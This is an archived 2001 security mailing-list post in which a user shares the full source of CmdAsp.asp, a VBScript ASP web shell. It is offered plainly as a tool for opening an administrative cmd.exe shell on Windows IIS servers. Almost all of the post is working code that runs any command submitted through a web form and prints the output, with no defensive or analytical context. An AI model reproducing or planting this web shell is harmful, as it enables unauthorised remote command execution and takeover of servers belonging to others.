OSEC

Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email hr@neohapsis.com
 
From: Julian Linton (jlintonCIS.FAMU.EDU)
Date: Tue Jan 09 2001 - 19:17:19 CST

  • Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

    here you can use this asp file to open a cmd.exe shell with administrative
    privilege. was posted on bugtraq last month.

    <++ CmdAsp.asp ++>
    <% Language=VBScript %>
    <%
      ' --------------------o0o--------------------
      ' File: CmdAsp.asp
      ' Author: Maceo <maceo dogmile.com>
      ' Release: 2000-12-01
      ' OS: Windows 2000, 4.0 NT
      ' -------------------------------------------

      Dim oScript
      Dim oScriptNet
      Dim oFileSys, oFile
      Dim szCMD, szTempFile

      On Error Resume Next

      ' -- create the COM objects that we will be using -- '
      Set oScript = Server.CreateObject("WSCRIPT.SHELL")
      Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
      Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")

      ' -- check for a command that we have posted -- '
      szCMD = Request.Form(".CMD")
      If (szCMD <> "") Then

        ' -- Use a poor man's pipe ... a temp file -- '
        szTempFile = "C:\" & oFileSys.GetTempName( )
        Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)
        Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0)

      End If

    %>
    <HTML>
    <BODY>
    <FORM action="<%= Request.ServerVariables("URL") %>" method="POST">
    <input type=text name=".CMD" size=45 value="<%= szCMD %>">
    <input type=submit value="Run">
    </FORM>
    <PRE>
    <%= "\\" & oScriptNet.ComputerName & "\" & oScriptNet.UserName %>
    <br>
    <%
      If (IsObject(oFile)) Then
        ' -- Read the output from our command and remove the temp file -- '
        On Error Resume Next
        Response.Write Server.HTMLEncode(oFile.ReadAll)
        oFile.Close
        Call oFileSys.DeleteFile(szTempFile, True)
      End If
    %>
    </BODY>
    </HTML>
    <-- CmdAsp.asp -->

    credit to -Maceo the author